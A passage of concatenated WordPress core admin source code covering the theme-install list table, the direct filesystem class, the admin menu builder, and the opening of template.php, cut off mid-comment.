		 * @param string[] $actions An array of theme action links. Defaults are
		 *                          links to Install Now, Preview, and Details.
		 * @param stdClass $theme   An object that contains theme data returned by the
		 *                          WordPress.org API.
		 */
		$actions = apply_filters( 'theme_install_actions', $actions, $theme );

		?>
		<a class="screenshot install-theme-preview" href="<?php echo esc_url( $preview_url ); ?>" title="<?php echo esc_attr( $preview_title ); ?>">
			<img src="<?php echo esc_url( $theme->screenshot_url . '?ver=' . $theme->version ); ?>" width="150" alt="" />
		</a>

		<h3><?php echo $name; ?></h3>
		<div class="theme-author">
		<?php
			/* translators: %s: Theme author. */
			printf( __( 'By %s' ), $author );
		?>
		</div>

		<div class="action-links">
			<ul>
				<?php foreach ( $actions as $action ) : ?>
					<li><?php echo $action; ?></li>
				<?php endforeach; ?>
				<li class="hide-if-no-js"><a href="#" class="theme-detail"><?php _e( 'Details' ); ?></a></li>
			</ul>
		</div>

		<?php
		$this->install_theme_info( $theme );
	}

	/**
	 * Prints the wrapper for the theme installer.
	 */
	public function theme_installer() {
		?>
		<div id="theme-installer" class="wp-full-overlay expanded">
			<div class="wp-full-overlay-sidebar">
				<div class="wp-full-overlay-header">
					<a href="#" class="close-full-overlay button"><?php _e( 'Close' ); ?></a>
					<span class="theme-install"></span>
				</div>
				<div class="wp-full-overlay-sidebar-content">
					<div class="install-theme-info"></div>
				</div>
				<div class="wp-full-overlay-footer">
					<button type="button" class="collapse-sidebar button" aria-expanded="true" aria-label="<?php esc_attr_e( 'Collapse Sidebar' ); ?>">
						<span class="collapse-sidebar-arrow"></span>
						<span class="collapse-sidebar-label"><?php _e( 'Collapse' ); ?></span>
					</button>
				</div>
			</div>
			<div class="wp-full-overlay-main"></div>
		</div>
		<?php
	}

	/**
	 * Prints the wrapper for the theme installer with a provided theme's data.
	 * Used to make the theme installer work for no-js.
	 *
	 * @param stdClass $theme A WordPress.org Theme API object.
	 */
	public function theme_installer_single( $theme ) {
		?>
		<div id="theme-installer" class="wp-full-overlay single-theme">
			<div class="wp-full-overlay-sidebar">
				<?php $this->install_theme_info( $theme ); ?>
			</div>
			<div class="wp-full-overlay-main">
				<iframe src="<?php echo esc_url( $theme->preview_url ); ?>"></iframe>
			</div>
		</div>
		<?php
	}

	/**
	 * Prints the info for a theme (to be used in the theme installer modal).
	 *
	 * @global array $themes_allowedtags
	 *
	 * @param stdClass $theme A WordPress.org Theme API object.
	 */
	public function install_theme_info( $theme ) {
		global $themes_allowedtags;

		if ( empty( $theme ) ) {
			return;
		}

		$name   = wp_kses( $theme->name, $themes_allowedtags );
		$author = wp_kses( $theme->author, $themes_allowedtags );

		$install_url = add_query_arg(
			array(
				'action' => 'install-theme',
				'theme'  => $theme->slug,
			),
			self_admin_url( 'update.php' )
		);

		$update_url = add_query_arg(
			array(
				'action' => 'upgrade-theme',
				'theme'  => $theme->slug,
			),
			self_admin_url( 'update.php' )
		);

		$status = $this->_get_theme_status( $theme );

		?>
		<div class="install-theme-info">
		<?php
		switch ( $status ) {
			case 'update_available':
				printf(
					'<a class="theme-install button button-primary" href="%s" title="%s">%s</a>',
					esc_url( wp_nonce_url( $update_url, 'upgrade-theme_' . $theme->slug ) ),
					/* translators: %s: Theme version. */
					esc_attr( sprintf( __( 'Update to version %s' ), $theme->version ) ),
					__( 'Update' )
				);
				break;
			case 'newer_installed':
			case 'latest_installed':
				printf(
					'<span class="theme-install" title="%s">%s</span>',
					esc_attr__( 'This theme is already installed and is up to date' ),
					_x( 'Installed', 'theme' )
				);
				break;
			case 'install':
			default:
				printf(
					'<a class="theme-install button button-primary" href="%s">%s</a>',
					esc_url( wp_nonce_url( $install_url, 'install-theme_' . $theme->slug ) ),
					__( 'Install' )
				);
				break;
		}
		?>
			<h3 class="theme-name"><?php echo $name; ?></h3>
			<span class="theme-by">
			<?php
				/* translators: %s: Theme author. */
				printf( __( 'By %s' ), $author );
			?>
			</span>
			<?php if ( isset( $theme->screenshot_url ) ) : ?>
				<img class="theme-screenshot" src="<?php echo esc_url( $theme->screenshot_url . '?ver=' . $theme->version ); ?>" alt="" />
			<?php endif; ?>
			<div class="theme-details">
				<?php
				wp_star_rating(
					array(
						'rating' => $theme->rating,
						'type'   => 'percent',
						'number' => $theme->num_ratings,
					)
				);
				?>
				<div class="theme-version">
					<strong><?php _e( 'Version:' ); ?> </strong>
					<?php echo wp_kses( $theme->version, $themes_allowedtags ); ?>
				</div>
				<div class="theme-description">
					<?php echo wp_kses( $theme->description, $themes_allowedtags ); ?>
				</div>
			</div>
			<input class="theme-preview-url" type="hidden" value="<?php echo esc_url( $theme->preview_url ); ?>" />
		</div>
		<?php
	}

	/**
	 * Send required variables to JavaScript land
	 *
	 * @since 3.4.0
	 *
	 * @global string $tab  Current tab within Themes->Install screen
	 * @global string $type Type of search.
	 *
	 * @param array $extra_args Unused.
	 */
	public function _js_vars( $extra_args = array() ) {
		global $tab, $type;
		parent::_js_vars( compact( 'tab', 'type' ) );
	}

	/**
	 * Checks to see if the theme is already installed.
	 *
	 * @since 3.4.0
	 *
	 * @param stdClass $theme A WordPress.org Theme API object.
	 * @return string Theme status.
	 */
	private function _get_theme_status( $theme ) {
		$status = 'install';

		$installed_theme = wp_get_theme( $theme->slug );
		if ( $installed_theme->exists() ) {
			if ( version_compare( $installed_theme->get( 'Version' ), $theme->version, '=' ) ) {
				$status = 'latest_installed';
			} elseif ( version_compare( $installed_theme->get( 'Version' ), $theme->version, '>' ) ) {
				$status = 'newer_installed';
			} else {
				$status = 'update_available';
			}
		}

		return $status;
	}
}
<?php
/**
 * WordPress Direct Filesystem.
 *
 * @package WordPress
 * @subpackage Filesystem
 */

/**
 * WordPress Filesystem Class for direct PHP file and folder manipulation.
 *
 * @since 2.5.0
 *
 * @see WP_Filesystem_Base
 */
class WP_Filesystem_Direct extends WP_Filesystem_Base {

	/**
	 * Constructor.
	 *
	 * @since 2.5.0
	 *
	 * @param mixed $arg Not used.
	 */
	public function __construct( $arg ) {
		$this->method = 'direct';
		$this->errors = new WP_Error();
	}

	/**
	 * Reads entire file into a string.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Name of the file to read.
	 * @return string|false Read data on success, false on failure.
	 */
	public function get_contents( $file ) {
		return @file_get_contents( $file );
	}

	/**
	 * Reads entire file into an array.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return array|false File contents in an array on success, false on failure.
	 */
	public function get_contents_array( $file ) {
		return @file( $file );
	}

	/**
	 * Writes a string to a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $file     Remote path to the file where to write the data.
	 * @param string    $contents The data to write.
	 * @param int|false $mode     Optional. The file permissions as octal number, usually 0644.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function put_contents( $file, $contents, $mode = false ) {
		$fp = @fopen( $file, 'wb' );

		if ( ! $fp ) {
			return false;
		}

		mbstring_binary_safe_encoding();

		$data_length = strlen( $contents );

		$bytes_written = fwrite( $fp, $contents );

		reset_mbstring_encoding();

		fclose( $fp );

		if ( $data_length !== $bytes_written ) {
			return false;
		}

		$this->chmod( $file, $mode );

		return true;
	}

	/**
	 * Gets the current working directory.
	 *
	 * @since 2.5.0
	 *
	 * @return string|false The current working directory on success, false on failure.
	 */
	public function cwd() {
		return getcwd();
	}

	/**
	 * Changes current directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $dir The new current directory.
	 * @return bool True on success, false on failure.
	 */
	public function chdir( $dir ) {
		return @chdir( $dir );
	}

	/**
	 * Changes the file group.
	 *
	 * @since 2.5.0
	 *
	 * @param string     $file      Path to the file.
	 * @param string|int $group     A group name or number.
	 * @param bool       $recursive Optional. If set to true, changes file group recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chgrp( $file, $group, $recursive = false ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

		if ( ! $recursive ) {
			return chgrp( $file, $group );
		}

		if ( ! $this->is_dir( $file ) ) {
			return chgrp( $file, $group );
		}

		// Is a directory, and we want recursive.
		$file     = trailingslashit( $file );
		$filelist = $this->dirlist( $file );

		foreach ( $filelist as $filename ) {
			$this->chgrp( $file . $filename, $group, $recursive );
		}

		return true;
	}

	/**
	 * Changes filesystem permissions.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $file      Path to the file.
	 * @param int|false $mode      Optional. The permissions as octal number, usually 0644 for files,
	 *                             0755 for directories. Default false.
	 * @param bool      $recursive Optional. If set to true, changes file permissions recursively.
	 *                             Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chmod( $file, $mode = false, $recursive = false ) {
		if ( ! $mode ) {
			if ( $this->is_file( $file ) ) {
				$mode = FS_CHMOD_FILE;
			} elseif ( $this->is_dir( $file ) ) {
				$mode = FS_CHMOD_DIR;
			} else {
				return false;
			}
		}

		if ( ! $recursive || ! $this->is_dir( $file ) ) {
			return chmod( $file, $mode );
		}

		// Is a directory, and we want recursive.
		$file     = trailingslashit( $file );
		$filelist = $this->dirlist( $file );

		foreach ( (array) $filelist as $filename => $filemeta ) {
			$this->chmod( $file . $filename, $mode, $recursive );
		}

		return true;
	}

	/**
	 * Changes the owner of a file or directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string     $file      Path to the file or directory.
	 * @param string|int $owner     A user name or number.
	 * @param bool       $recursive Optional. If set to true, changes file owner recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chown( $file, $owner, $recursive = false ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

		if ( ! $recursive ) {
			return chown( $file, $owner );
		}

		if ( ! $this->is_dir( $file ) ) {
			return chown( $file, $owner );
		}

		// Is a directory, and we want recursive.
		$filelist = $this->dirlist( $file );

		foreach ( $filelist as $filename ) {
			$this->chown( $file . '/' . $filename, $owner, $recursive );
		}

		return true;
	}

	/**
	 * Gets the file owner.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false Username of the owner on success, false on failure.
	 */
	public function owner( $file ) {
		$owneruid = @fileowner( $file );

		if ( ! $owneruid ) {
			return false;
		}

		if ( ! function_exists( 'posix_getpwuid' ) ) {
			return $owneruid;
		}

		$ownerarray = posix_getpwuid( $owneruid );

		if ( ! $ownerarray ) {
			return false;
		}

		return $ownerarray['name'];
	}

	/**
	 * Gets the permissions of the specified file or filepath in their octal format.
	 *
	 * FIXME does not handle errors in fileperms()
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string Mode of the file (the last 3 digits).
	 */
	public function getchmod( $file ) {
		return substr( decoct( @fileperms( $file ) ), -3 );
	}

	/**
	 * Gets the file's group.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false The group on success, false on failure.
	 */
	public function group( $file ) {
		$gid = @filegroup( $file );

		if ( ! $gid ) {
			return false;
		}

		if ( ! function_exists( 'posix_getgrgid' ) ) {
			return $gid;
		}

		$grouparray = posix_getgrgid( $gid );

		if ( ! $grouparray ) {
			return false;
		}

		return $grouparray['name'];
	}

	/**
	 * Copies a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $source      Path to the source file.
	 * @param string    $destination Path to the destination file.
	 * @param bool      $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                               Default false.
	 * @param int|false $mode        Optional. The permissions as octal number, usually 0644 for files,
	 *                               0755 for dirs. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function copy( $source, $destination, $overwrite = false, $mode = false ) {
		if ( ! $overwrite && $this->exists( $destination ) ) {
			return false;
		}

		$rtval = copy( $source, $destination );

		if ( $mode ) {
			$this->chmod( $destination, $mode );
		}

		return $rtval;
	}

	/**
	 * Moves a file or directory.
	 *
	 * After moving files or directories, OPcache will need to be invalidated.
	 *
	 * If moving a directory fails, `copy_dir()` can be used for a recursive copy.
	 *
	 * Use `move_dir()` for moving directories with OPcache invalidation and a
	 * fallback to `copy_dir()`.
	 *
	 * @since 2.5.0
	 *
	 * @param string $source      Path to the source file.
	 * @param string $destination Path to the destination file.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function move( $source, $destination, $overwrite = false ) {
		if ( ! $overwrite && $this->exists( $destination ) ) {
			return false;
		}

		if ( $overwrite && $this->exists( $destination ) && ! $this->delete( $destination, true ) ) {
			// Can't overwrite if the destination couldn't be deleted.
			return false;
		}

		// Try using rename first. if that fails (for example, source is read only) try copy.
		if ( @rename( $source, $destination ) ) {
			return true;
		}

		// Backward compatibility: Only fall back to `::copy()` for single files.
		if ( $this->is_file( $source ) && $this->copy( $source, $destination, $overwrite ) && $this->exists( $destination ) ) {
			$this->delete( $source );

			return true;
		} else {
			return false;
		}
	}

	/**
	 * Deletes a file or directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string       $file      Path to the file or directory.
	 * @param bool         $recursive Optional. If set to true, deletes files and folders recursively.
	 *                                Default false.
	 * @param string|false $type      Type of resource. 'f' for file, 'd' for directory.
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $file, $recursive = false, $type = false ) {
		if ( empty( $file ) ) {
			// Some filesystems report this as /, which can cause non-expected recursive deletion of all files in the filesystem.
			return false;
		}

		$file = str_replace( '\\', '/', $file ); // For Win32, occasional problems deleting files otherwise.

		if ( 'f' === $type || $this->is_file( $file ) ) {
			return @unlink( $file );
		}

		if ( ! $recursive && $this->is_dir( $file ) ) {
			return @rmdir( $file );
		}

		// At this point it's a folder, and we're in recursive mode.
		$file     = trailingslashit( $file );
		$filelist = $this->dirlist( $file, true );

		$retval = true;

		if ( is_array( $filelist ) ) {
			foreach ( $filelist as $filename => $fileinfo ) {
				if ( ! $this->delete( $file . $filename, $recursive, $fileinfo['type'] ) ) {
					$retval = false;
				}
			}
		}

		if ( file_exists( $file ) && ! @rmdir( $file ) ) {
			$retval = false;
		}

		return $retval;
	}

	/**
	 * Checks if a file or directory exists.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path exists or not.
	 */
	public function exists( $path ) {
		return @file_exists( $path );
	}

	/**
	 * Checks if resource is a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	public function is_file( $file ) {
		return @is_file( $file );
	}

	/**
	 * Checks if resource is a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Directory path.
	 * @return bool Whether $path is a directory.
	 */
	public function is_dir( $path ) {
		return @is_dir( $path );
	}

	/**
	 * Checks if a file is readable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return bool Whether $file is readable.
	 */
	public function is_readable( $file ) {
		return @is_readable( $file );
	}

	/**
	 * Checks if a file or directory is writable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path is writable.
	 */
	public function is_writable( $path ) {
		return @is_writable( $path );
	}

	/**
	 * Gets the file's last access time.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing last access time, false on failure.
	 */
	public function atime( $file ) {
		return @fileatime( $file );
	}

	/**
	 * Gets the file modification time.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing modification time, false on failure.
	 */
	public function mtime( $file ) {
		return @filemtime( $file );
	}

	/**
	 * Gets the file size (in bytes).
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Size of the file in bytes on success, false on failure.
	 */
	public function size( $file ) {
		return @filesize( $file );
	}

	/**
	 * Sets the access and modification times of a file.
	 *
	 * Note: If $file doesn't exist, it will be created.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file  Path to file.
	 * @param int    $time  Optional. Modified time to set for file.
	 *                      Default 0.
	 * @param int    $atime Optional. Access time to set for file.
	 *                      Default 0.
	 * @return bool True on success, false on failure.
	 */
	public function touch( $file, $time = 0, $atime = 0 ) {
		if ( 0 === $time ) {
			$time = time();
		}

		if ( 0 === $atime ) {
			$atime = time();
		}

		return touch( $file, $time, $atime );
	}

	/**
	 * Creates a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string           $path  Path for new directory.
	 * @param int|false        $chmod Optional. The permissions as octal number (or false to skip chmod).
	 *                                Default false.
	 * @param string|int|false $chown Optional. A user name or number (or false to skip chown).
	 *                                Default false.
	 * @param string|int|false $chgrp Optional. A group name or number (or false to skip chgrp).
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
		// Safe mode fails with a trailing slash under certain PHP versions.
		$path = untrailingslashit( $path );

		if ( empty( $path ) ) {
			return false;
		}

		if ( ! $chmod ) {
			$chmod = FS_CHMOD_DIR;
		}

		if ( ! @mkdir( $path ) ) {
			return false;
		}

		$this->chmod( $path, $chmod );

		if ( $chown ) {
			$this->chown( $path, $chown );
		}

		if ( $chgrp ) {
			$this->chgrp( $path, $chgrp );
		}

		return true;
	}

	/**
	 * Deletes a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path      Path to directory.
	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function rmdir( $path, $recursive = false ) {
		return $this->delete( $path, $recursive );
	}

	/**
	 * Gets details for files in a directory or a specific file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path           Path to directory or file.
	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
	 *                               Default true.
	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
	 *                               Default false.
	 * @return array|false {
	 *     Array of arrays containing file information. False if unable to list directory contents.
	 *
	 *     @type array ...$0 {
	 *         Array of file information. Note that some elements may not be available on all filesystems.
	 *
	 *         @type string           $name        Name of the file or directory.
	 *         @type string           $perms       *nix representation of permissions.
	 *         @type string           $permsn      Octal representation of permissions.
	 *         @type false            $number      File number. Always false in this context.
	 *         @type string|false     $owner       Owner name or ID, or false if not available.
	 *         @type string|false     $group       File permissions group, or false if not available.
	 *         @type int|string|false $size        Size of file in bytes. May be a numeric string.
	 *                                             False if not available.
	 *         @type int|string|false $lastmodunix Last modified unix timestamp. May be a numeric string.
	 *                                             False if not available.
	 *         @type string|false     $lastmod     Last modified month (3 letters) and day (without leading 0), or
	 *                                             false if not available.
	 *         @type string|false     $time        Last modified time, or false if not available.
	 *         @type string           $type        Type of resource. 'f' for file, 'd' for directory, 'l' for link.
	 *         @type array|false      $files       If a directory and `$recursive` is true, contains another array of
	 *                                             files. False if unable to list directory contents.
	 *     }
	 * }
	 */
	public function dirlist( $path, $include_hidden = true, $recursive = false ) {
		if ( $this->is_file( $path ) ) {
			$limit_file = basename( $path );
			$path       = dirname( $path );
		} else {
			$limit_file = false;
		}

		if ( ! $this->is_dir( $path ) || ! $this->is_readable( $path ) ) {
			return false;
		}

		$dir = dir( $path );

		if ( ! $dir ) {
			return false;
		}

		$path = trailingslashit( $path );
		$ret  = array();

		while ( false !== ( $entry = $dir->read() ) ) {
			$struc         = array();
			$struc['name'] = $entry;

			if ( '.' === $struc['name'] || '..' === $struc['name'] ) {
				continue;
			}

			if ( ! $include_hidden && '.' === $struc['name'][0] ) {
				continue;
			}

			if ( $limit_file && $struc['name'] !== $limit_file ) {
				continue;
			}

			$struc['perms']       = $this->gethchmod( $path . $entry );
			$struc['permsn']      = $this->getnumchmodfromh( $struc['perms'] );
			$struc['number']      = false;
			$struc['owner']       = $this->owner( $path . $entry );
			$struc['group']       = $this->group( $path . $entry );
			$struc['size']        = $this->size( $path . $entry );
			$struc['lastmodunix'] = $this->mtime( $path . $entry );
			$struc['lastmod']     = gmdate( 'M j', $struc['lastmodunix'] );
			$struc['time']        = gmdate( 'h:i:s', $struc['lastmodunix'] );
			$struc['type']        = $this->is_dir( $path . $entry ) ? 'd' : 'f';

			if ( 'd' === $struc['type'] ) {
				if ( $recursive ) {
					$struc['files'] = $this->dirlist( $path . $struc['name'], $include_hidden, $recursive );
				} else {
					$struc['files'] = array();
				}
			}

			$ret[ $struc['name'] ] = $struc;
		}

		$dir->close();
		unset( $dir );

		return $ret;
	}
}
<?php
/**
 * Build Administration Menu.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( is_network_admin() ) {

	/**
	 * Fires before the administration menu loads in the Network Admin.
	 *
	 * The hook fires before menus and sub-menus are removed based on user privileges.
	 *
	 * @since 3.1.0
	 * @access private
	 */
	do_action( '_network_admin_menu' );
} elseif ( is_user_admin() ) {

	/**
	 * Fires before the administration menu loads in the User Admin.
	 *
	 * The hook fires before menus and sub-menus are removed based on user privileges.
	 *
	 * @since 3.1.0
	 * @access private
	 */
	do_action( '_user_admin_menu' );
} else {

	/**
	 * Fires before the administration menu loads in the admin.
	 *
	 * The hook fires before menus and sub-menus are removed based on user privileges.
	 *
	 * @since 2.2.0
	 * @access private
	 */
	do_action( '_admin_menu' );
}

// Create list of page plugin hook names.
foreach ( $menu as $menu_page ) {
	$pos = strpos( $menu_page[2], '?' );

	if ( false !== $pos ) {
		// Handle post_type=post|page|foo pages.
		$hook_name = substr( $menu_page[2], 0, $pos );
		$hook_args = substr( $menu_page[2], $pos + 1 );
		wp_parse_str( $hook_args, $hook_args );

		// Set the hook name to be the post type.
		if ( isset( $hook_args['post_type'] ) ) {
			$hook_name = $hook_args['post_type'];
		} else {
			$hook_name = basename( $hook_name, '.php' );
		}
		unset( $hook_args );
	} else {
		$hook_name = basename( $menu_page[2], '.php' );
	}

	$hook_name = sanitize_title( $hook_name );

	if ( isset( $compat[ $hook_name ] ) ) {
		$hook_name = $compat[ $hook_name ];
	} elseif ( ! $hook_name ) {
		continue;
	}

	$admin_page_hooks[ $menu_page[2] ] = $hook_name;
}
unset( $menu_page, $compat );

$_wp_submenu_nopriv = array();
$_wp_menu_nopriv    = array();
// Loop over submenus and remove pages for which the user does not have privs.
foreach ( $submenu as $parent => $sub ) {
	foreach ( $sub as $index => $data ) {
		if ( ! current_user_can( $data[1] ) ) {
			unset( $submenu[ $parent ][ $index ] );
			$_wp_submenu_nopriv[ $parent ][ $data[2] ] = true;
		}
	}
	unset( $index, $data );

	if ( empty( $submenu[ $parent ] ) ) {
		unset( $submenu[ $parent ] );
	}
}
unset( $sub, $parent );

/*
 * Loop over the top-level menu.
 * Menus for which the original parent is not accessible due to lack of privileges
 * will have the next submenu in line be assigned as the new menu parent.
 */
foreach ( $menu as $id => $data ) {
	if ( empty( $submenu[ $data[2] ] ) ) {
		continue;
	}

	$subs       = $submenu[ $data[2] ];
	$first_sub  = reset( $subs );
	$old_parent = $data[2];
	$new_parent = $first_sub[2];

	/*
	 * If the first submenu is not the same as the assigned parent,
	 * make the first submenu the new parent.
	 */
	if ( $new_parent !== $old_parent ) {
		$_wp_real_parent_file[ $old_parent ] = $new_parent;

		$menu[ $id ][2] = $new_parent;

		foreach ( $submenu[ $old_parent ] as $index => $data ) {
			$submenu[ $new_parent ][ $index ] = $submenu[ $old_parent ][ $index ];
			unset( $submenu[ $old_parent ][ $index ] );
		}
		unset( $submenu[ $old_parent ], $index );

		if ( isset( $_wp_submenu_nopriv[ $old_parent ] ) ) {
			$_wp_submenu_nopriv[ $new_parent ] = $_wp_submenu_nopriv[ $old_parent ];
		}
	}
}
unset( $id, $data, $subs, $first_sub, $old_parent, $new_parent );

if ( is_network_admin() ) {

	/**
	 * Fires before the administration menu loads in the Network Admin.
	 *
	 * @since 3.1.0
	 *
	 * @param string $context Empty context.
	 */
	do_action( 'network_admin_menu', '' );
} elseif ( is_user_admin() ) {

	/**
	 * Fires before the administration menu loads in the User Admin.
	 *
	 * @since 3.1.0
	 *
	 * @param string $context Empty context.
	 */
	do_action( 'user_admin_menu', '' );
} else {

	/**
	 * Fires before the administration menu loads in the admin.
	 *
	 * @since 1.5.0
	 *
	 * @param string $context Empty context.
	 */
	do_action( 'admin_menu', '' );
}

/*
 * Remove menus that have no accessible submenus and require privileges
 * that the user does not have. Run re-parent loop again.
 */
foreach ( $menu as $id => $data ) {
	if ( ! current_user_can( $data[1] ) ) {
		$_wp_menu_nopriv[ $data[2] ] = true;
	}

	/*
	 * If there is only one submenu and it is has same destination as the parent,
	 * remove the submenu.
	 */
	if ( ! empty( $submenu[ $data[2] ] ) && 1 === count( $submenu[ $data[2] ] ) ) {
		$subs      = $submenu[ $data[2] ];
		$first_sub = reset( $subs );

		if ( $data[2] === $first_sub[2] ) {
			unset( $submenu[ $data[2] ] );
		}
	}

	// If submenu is empty...
	if ( empty( $submenu[ $data[2] ] ) ) {
		// And user doesn't have privs, remove menu.
		if ( isset( $_wp_menu_nopriv[ $data[2] ] ) ) {
			unset( $menu[ $id ] );
		}
	}
}
unset( $id, $data, $subs, $first_sub );

/**
 * Adds a CSS class to a string.
 *
 * @since 2.7.0
 *
 * @param string $class_to_add The CSS class to add.
 * @param string $classes      The string to add the CSS class to.
 * @return string The string with the CSS class added.
 */
function add_cssclass( $class_to_add, $classes ) {
	if ( empty( $classes ) ) {
		return $class_to_add;
	}

	return $classes . ' ' . $class_to_add;
}

/**
 * Adds CSS classes for top-level administration menu items.
 *
 * The list of added classes includes `.menu-top-first` and `.menu-top-last`.
 *
 * @since 2.7.0
 *
 * @param array $menu The array of administration menu items.
 * @return array The array of administration menu items with the CSS classes added.
 */
function add_menu_classes( $menu ) {
	$first_item  = false;
	$last_order  = false;
	$items_count = count( $menu );

	$i = 0;

	foreach ( $menu as $order => $top ) {
		++$i;

		if ( 0 === $order ) { // Dashboard is always shown/single.
			$menu[0][4] = add_cssclass( 'menu-top-first', $top[4] );
			$last_order = 0;
			continue;
		}

		if ( str_starts_with( $top[2], 'separator' ) && false !== $last_order ) { // If separator.
			$first_item = true;
			$classes    = $menu[ $last_order ][4];

			$menu[ $last_order ][4] = add_cssclass( 'menu-top-last', $classes );
			continue;
		}

		if ( $first_item ) {
			$first_item = false;
			$classes    = $menu[ $order ][4];

			$menu[ $order ][4] = add_cssclass( 'menu-top-first', $classes );
		}

		if ( $i === $items_count ) { // Last item.
			$classes = $menu[ $order ][4];

			$menu[ $order ][4] = add_cssclass( 'menu-top-last', $classes );
		}

		$last_order = $order;
	}

	/**
	 * Filters administration menu array with classes added for top-level items.
	 *
	 * @since 2.7.0
	 *
	 * @param array $menu Associative array of administration menu items.
	 */
	return apply_filters( 'add_menu_classes', $menu );
}

uksort( $menu, 'strnatcasecmp' ); // Make it all pretty.

/**
 * Filters whether to enable custom ordering of the administration menu.
 *
 * See the {@see 'menu_order'} filter for reordering menu items.
 *
 * @since 2.8.0
 *
 * @param bool $custom Whether custom ordering is enabled. Default false.
 */
if ( apply_filters( 'custom_menu_order', false ) ) {
	$menu_order = array();

	foreach ( $menu as $menu_item ) {
		$menu_order[] = $menu_item[2];
	}
	unset( $menu_item );

	$default_menu_order = $menu_order;

	/**
	 * Filters the order of administration menu items.
	 *
	 * A truthy value must first be passed to the {@see 'custom_menu_order'} filter
	 * for this filter to work. Use the following to enable custom menu ordering:
	 *
	 *     add_filter( 'custom_menu_order', '__return_true' );
	 *
	 * @since 2.8.0
	 *
	 * @param array $menu_order An ordered array of menu items.
	 */
	$menu_order = apply_filters( 'menu_order', $menu_order );
	$menu_order = array_flip( $menu_order );

	$default_menu_order = array_flip( $default_menu_order );

	/**
	 * @global array $menu_order
	 * @global array $default_menu_order
	 *
	 * @param array $a
	 * @param array $b
	 * @return int
	 */
	function sort_menu( $a, $b ) {
		global $menu_order, $default_menu_order;

		$a = $a[2];
		$b = $b[2];

		if ( isset( $menu_order[ $a ] ) && ! isset( $menu_order[ $b ] ) ) {
			return -1;
		} elseif ( ! isset( $menu_order[ $a ] ) && isset( $menu_order[ $b ] ) ) {
			return 1;
		} elseif ( isset( $menu_order[ $a ] ) && isset( $menu_order[ $b ] ) ) {
			if ( $menu_order[ $a ] === $menu_order[ $b ] ) {
				return 0;
			}
			return ( $menu_order[ $a ] < $menu_order[ $b ] ) ? -1 : 1;
		} else {
			return ( $default_menu_order[ $a ] <= $default_menu_order[ $b ] ) ? -1 : 1;
		}
	}

	usort( $menu, 'sort_menu' );
	unset( $menu_order, $default_menu_order );
}

// Prevent adjacent separators.
$prev_menu_was_separator = false;
foreach ( $menu as $id => $data ) {
	if ( false === stristr( $data[4], 'wp-menu-separator' ) ) {

		// This item is not a separator, so falsey the toggler and do nothing.
		$prev_menu_was_separator = false;
	} else {

		// The previous item was a separator, so unset this one.
		if ( true === $prev_menu_was_separator ) {
			unset( $menu[ $id ] );
		}

		// This item is a separator, so truthy the toggler and move on.
		$prev_menu_was_separator = true;
	}
}
unset( $id, $data, $prev_menu_was_separator );

// Remove the last menu item if it is a separator.
$last_menu_key = array_keys( $menu );
$last_menu_key = array_pop( $last_menu_key );
if ( ! empty( $menu ) && 'wp-menu-separator' === $menu[ $last_menu_key ][4] ) {
	unset( $menu[ $last_menu_key ] );
}
unset( $last_menu_key );

if ( ! user_can_access_admin_page() ) {

	/**
	 * Fires when access to an admin page is denied.
	 *
	 * @since 2.5.0
	 */
	do_action( 'admin_page_access_denied' );

	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$menu = add_menu_classes( $menu );
<?php
/**
 * Template WordPress Administration API.
 *
 * A Big Mess. Also some neat functions that are nicely written.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Walker_Category_Checklist class */
require_once ABSPATH . 'wp-admin/includes/class-walker-category-checklist.php';

/** WP_Internal_Pointers class */
require_once ABSPATH . 'wp-admin/includes/class-wp-internal-pointers.php';

//
// Category Checklists.
//

/**
 * Outputs an unordered list of checkbox input elements labeled with category names.
 *
 * @since 2.5.1
 *
 * @see wp_terms_checklist()
 *
